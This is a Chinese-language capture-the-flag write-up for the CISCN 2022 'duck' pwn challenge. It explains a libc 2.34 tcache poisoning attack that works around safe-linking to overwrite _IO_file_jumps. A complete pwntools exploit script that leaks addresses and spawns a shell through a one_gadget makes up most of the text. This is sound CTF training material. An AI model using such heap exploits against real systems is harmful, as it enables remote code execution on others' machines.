Problem: [CISCN 2022 华东北]duck
思路
高版本libc2.34 照搬一下其他师傅的
现在的接收都是u64(p.recv(5).ljust(8,b’\x00’)) << 12
而修改heap的fd指针则是(heap_addr >> 12)^target_addr
默认创建0X100的chunk 然后跟之前一样打tcache满 然后到unsortbin泄露 main_arena + offset 然后可以得到libc_base 打_IO_file_jumps
_IO_file_jumps 结构第四个是_io_newfile_overflow 据说puts要用到
我是倒着free的 因为正着free会和top_chunk合并
所以也是倒着改fd libc2.34有safe-linking 加密fd 改完 new到结构 直接打onegadget 得到shell
EXP
from pwn import *
context.log_level = 'debug'
io = remote("node4.anna.nssctf.cn",28290)
#io = process("./pwn")
e = ELF('./pwn')
libc = ELF('./libc.so.6')
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num :io.recv(num)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
ls = lambda data :log.success(data)
def new():
sla(b"Choice:",str(1))
def edit(idx,size,content):
sla(b":",str(4))
sla(b"Idx:",str(idx))
sla(b"Size:",str(size))
sla(b"Content:",content)
def show(idx):
sla(b":",str(3))
sla(b"Idx:",str(idx))
def free(idx):
sla(b"Choice:",str(2))
sla(b"Idx:",str(idx))
for i in range(8):
new()
for i in range(8):
free(7-i)
show(0)
leak_main_arena = uu64(ru(b"Done",drop=True)[2:8])
ls("leak=>"+hex(leak_main_arena))
libc_base = leak_main_arena -0x1f2c60 -0x60
ls("libc_base"+hex(libc_base))
IO_file_jumps = libc_base + libc.sym['_IO_file_jumps']
ls("IO_file_jumps"+hex(IO_file_jumps))
show(7)
leak_heap_struct = uu64(ru(b"Done",drop=True)[2:7]) << 12
ls("leak_heap_struct"+hex(leak_heap_struct))
final_IO_file_chunk = (leak_heap_struct >> 12)^IO_file_jumps
ls("final_IO_file_chunk"+hex(final_IO_file_chunk))
for i in range(5):
new()
edit(6,0x10,p64(final_IO_file_chunk) + p64(0))
new() #13
new() #14
one_gadget = libc_base + 0xda864
edit(14,0x20,p64(0)*3+p64(one_gadget))
#attach(io)
#attach(io)
io.interactive()
总结
接收有点恶心了 safe-linking也是 还加密fd XOR 吐了